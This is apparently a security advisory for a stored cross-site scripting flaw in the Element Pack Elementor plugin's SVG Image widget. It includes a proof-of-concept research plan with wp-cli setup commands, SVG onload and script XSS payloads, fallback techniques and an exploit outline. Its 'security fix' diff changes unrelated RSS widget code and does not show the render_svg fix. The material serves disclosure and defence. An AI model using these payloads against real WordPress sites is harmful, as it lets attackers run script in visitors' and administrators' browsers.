Element Pack Addons for Elementor <= 8.4.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via SVG Image Widget
Description
The Element Pack Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the SVG Image Widget in versions up to and including 8.4.2. This is due to insufficient input sanitization and output escaping on SVG content fetched from remote URLs in the render_svg() function. The function fetches SVG content using wp_safe_remote_get() and then directly echoes it to the page without any sanitization, only applying a preg_replace() to add attributes to the SVG tag which does not remove malicious event handlers. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary JavaScript in SVG files that will execute whenever a user accesses a page containing the malicious widget.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=8.4.2What Changed in the Fix
Changes introduced in v8.5.0
Source Code
WordPress.org SVNThis research plan outlines the steps required to demonstrate the Stored Cross-Site Scripting (XSS) vulnerability in the Element Pack Addons for Elementor plugin. ### 1. Vulnerability Summary The **Element Pack Addons for Elementor** plugin (up to version 8.4.2) contains a Stored XSS vulnerability …
Show full research plan
This research plan outlines the steps required to demonstrate the Stored Cross-Site Scripting (XSS) vulnerability in the Element Pack Addons for Elementor plugin.
1. Vulnerability Summary
The Element Pack Addons for Elementor plugin (up to version 8.4.2) contains a Stored XSS vulnerability in its "SVG Image Widget". The widget allows users to provide a remote URL to an SVG file. The plugin fetches the SVG content via wp_safe_remote_get() and renders it directly onto the page. While it attempts to use preg_replace() to inject attributes into the <svg> tag, it fails to sanitize the SVG content for malicious event handlers (like onload or onclick) or <script> tags embedded within the XML structure of the SVG.
2. Attack Vector Analysis
- Endpoint: WordPress Frontend (via Elementor-rendered page).
- Vulnerable Widget: SVG Image Widget (Widget ID:
bdt-svg-image- inferred from plugin naming conventions). - Vulnerable Function:
render_svg()(located in the widget class). - Payload Parameter: The
svg_url(or similarly named) setting within the Elementor widget configuration. - Authentication Level: Contributor or higher. Contributors can create and edit posts/pages using Elementor.
- Precondition: The attacker must be able to host a malicious SVG file or use a data URI (if permitted by
wp_safe_remote_get(), though an external URL is the primary vector).
3. Code Flow
- Entry Point: A user with Contributor+ permissions edits a post using Elementor and adds the "SVG Image" widget.
- Configuration: The user provides a URL to a malicious SVG in the widget settings (saved to
_elementor_datapost meta). - Frontend Rendering: When a victim views the post:
- Elementor triggers the
render()method of thebdt-svg-imagewidget. - The
render()method callsrender_svg(). render_svg()retrieves the URL from settings and executeswp_safe_remote_get($url).- The raw body of the response (the SVG XML) is stored in a variable.
- A
preg_replace()is applied to the<svgtag to add classes or IDs, but no sanitization (likewp_kses()or a dedicated SVG sanitizer) is performed on the rest of the XML. - Sink: The unsanitized SVG content is
echo-ed directly into the HTML response.
- Elementor triggers the
4. Nonce Acquisition Strategy
While Elementor uses nonces for saving content (elementor_ajax action), this is a Stored XSS vulnerability. The most efficient PoC methodology in an automated environment is to bypass the complex Elementor UI/API and inject the malicious payload directly into the database using wp-cli, then verify the output via a simple GET request.
If the agent must perform the exploitation via the HTTP API:
- Navigate to the Elementor Editor for a specific post.
- The
elementor_ajaxnonce is usually localized in theelementorCommonConfigobject. - JS Variable:
window.elementorCommonConfig?.ajax?.nonceorwindow.elementor?.config?.ajax?.nonce.
5. Exploitation Strategy
- Host Malicious SVG: Create a file named
xss.svgwith the following content:<svg xmlns="http://www.w3.org/2000/svg" onload="alert('CVE-2026-4655_XSS')"></svg> - Setup Target Post: Create a post and set the
_elementor_datameta to include the vulnerable widget pointing to the hosted SVG. - Trigger: Access the post URL as an unauthenticated visitor or admin.
6. Test Data Setup
The PoC agent should execute the following commands:
# 1. Create a Contributor user
wp user create attacker attacker@example.com --role=contributor --user_pass=password123
# 2. Create a post to hold the XSS
POST_ID=$(wp post create --post_type=page --post_title="SVG XSS Test" --post_status=publish --user=attacker --porcelain)
# 3. Define the Elementor JSON structure for the SVG Image widget
# Note: "bdt-svg-image" is the likely widget ID for Element Pack's SVG Image.
# The URL should point to a location reachable by the WordPress server.
# Using a local path if the plugin allows it, or a mock URL.
MALICIOUS_SVG_URL="http://localhost/xss.svg"
ELEMENTOR_DATA='[{"id":"exploit-id","elType":"widget","settings":{"svg_url":"'$MALICIOUS_SVG_URL'"},"widgetType":"bdt-svg-image"}]'
# 4. Inject the payload into post meta
wp post meta update $POST_ID _elementor_data "$ELEMENTOR_DATA"
wp post meta update $POST_ID _elementor_edit_mode "builder"
# 5. Create the malicious SVG file in the web root
echo '<svg xmlns="http://www.w3.org/2000/svg" onload="console.log(\"XSS_TRIGGERED\"),alert(document.domain)"></svg>' > /var/www/html/xss.svg
7. Expected Results
- When the
http_requesttool fetches the URL of the created post (/?p=$POST_ID), the response body should contain:<svg xmlns="http://www.w3.org/2000/svg" onload="console.log("XSS_TRIGGERED"),alert(document.domain)"></svg> - The
onloadattribute will remain intact despite thepreg_replacelogic inrender_svg(). - In a browser context, the alert box would trigger, and the console would log
XSS_TRIGGERED.
8. Verification Steps
After the HTTP request, verify the sink via CLI:
# Check if the output is being rendered in the post content
curl -s "http://localhost/?p=$POST_ID" | grep "XSS_TRIGGERED"
9. Alternative Approaches
- Remote Fetching: If
wp_safe_remote_get()blockslocalhost, use a service likebin.orgor a dedicated mock server provided by the environment. - Attribute Breakout: If the plugin somehow strips
onload, try<svg><script>alert(1)</script></svg>or usingonmouseover/onfocusevent handlers. - Data URI: Test if the
svg_urlsetting acceptsdata:image/svg+xml;base64,.... This would remove the need for external hosting. - Parameter Identification: If
svg_urlis incorrect, search the plugin folder for therender_svgfunction to find the exact setting name:grep -r "render_svg" wp-content/plugins/bdthemes-element-pack-lite/
Then find the$this->get_settings('SETTING_NAME')call within that file.
Summary
The Element Pack Addons for Elementor plugin is vulnerable to Stored Cross-Site Scripting via the SVG Image Widget. Authenticated attackers with Contributor-level access or higher can inject arbitrary JavaScript by providing a remote URL to a malicious SVG file, which the plugin fetches and renders without proper sanitization.
Security Fix
@@ -17,13 +17,13 @@ } public function __construct() { - add_action('wp_ajax_bdt_admin_api_biggopti_dismiss', [$this, 'bdt_admin_api_biggopti_dismiss']); + add_action('wp_ajax_ep_admin_api_biggopti_dismiss', [$this, 'ep_admin_api_biggopti_dismiss']); } /** * Dismiss Admin API Biggopti. */ - public function bdt_admin_api_biggopti_dismiss() { + public function ep_admin_api_biggopti_dismiss() { $nonce = (isset($_POST['_wpnonce'])) ? sanitize_text_field($_POST['_wpnonce']) : ''; $display_id = (isset($_POST['display_id'])) ? sanitize_text_field($_POST['display_id']) : ''; $id = (isset($_POST['id'])) ? esc_attr($_POST['id']) : ''; @@ -68,7 +68,7 @@ <p> <?php echo wp_kses_post( wp_trim_words( wp_strip_all_tags( $feed->content ), 50 ) ); ?> <a href="<?php echo esc_url( $feed->demo_link ); ?>" target="_blank"> - <?php esc_html_e( 'Learn more...', 'bdthemes-element-pack' ); ?> + <?php esc_html_e( 'Learn more...', $this->settings['text_domain'] ); ?> </a> </p> </div> @@ -130,7 +130,7 @@ $rss = fetch_feed( $this->settings['feed_link'] ); if ( is_wp_error( $rss ) ) { - return '<li>' . esc_html__( 'Items Not Found', 'bdthemes-element-pack' ) . '.</li>'; + return '<li>' . esc_html__( 'Items Not Found', $this->settings['text_domain'] ) . '.</li>'; } $maxitems = $rss->get_item_quantity( 5 ); @@ -154,21 +154,24 @@ ob_start(); ?> -t <div class="rss-widget"> + <div class="bdt-widget"> <ul> <?php if ( empty( $rss_items ) ) : ?> - <li><?php esc_html_e( 'Items Not Found', 'bdthemes-element-pack' ); ?>.</li> + <li><?php esc_html_e( 'Items Not Found', $this->settings['text_domain'] ); ?>.</li> <?php else : ?> <?php foreach ( $rss_items as $item ) : ?> <li> <a target="_blank" href="<?php echo esc_url( $item['link'] ); ?>" title="<?php echo esc_html( $item['date'] ); ?>"> + <?php if ( $this->is_feed_item_new( $item['date'] ) ) : ?> + <span class="bdt-feed-badge bdt-feed-badge--new"><?php esc_html_e( 'New', $this->settings['text_domain'] ); ?></span> + <?php endif; ?> <?php echo esc_html( $item['title'] ); ?> </a> - <span class="rss-date" style="display: block; margin: 0;"> - <?php echo esc_html( human_time_diff( $item['date'], current_time( 'timestamp' ) ) . ' ' . __( 'ago', 'bdthemes-element-pack' ) ); ?> + <span class="bdt-date" style="display: block; margin: 0;"> + <?php echo esc_html( human_time_diff( $item['date'], current_time( 'timestamp' ) ) . ' ' . __( 'ago', $this->settings['text_domain'] ) ); ?> </span> - <div class="rss-summary"> + <div class="bdt-summary"> <?php echo esc_html( wp_html_excerpt( $item['content'], 120 ) . ' [...]' ); ?> </div> </li>
Exploit Outline
The exploit is achieved by performing the following steps: 1. An attacker with Contributor-level permissions hosts a malicious SVG file on a remote server. The SVG contains a JavaScript payload (e.g., using an 'onload' attribute like <svg onload='alert(1)'>). 2. The attacker creates or edits a post/page using the Elementor editor and inserts the 'SVG Image' widget (bdt-svg-image). 3. Within the widget settings, the attacker provides the URL of the hosted malicious SVG file. 4. The plugin's rendering logic calls render_svg(), which uses wp_safe_remote_get() to fetch the SVG content and echoes it directly to the page without sanitization. 5. When a victim (such as an administrator) views the page, the malicious script executes within their browser session.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.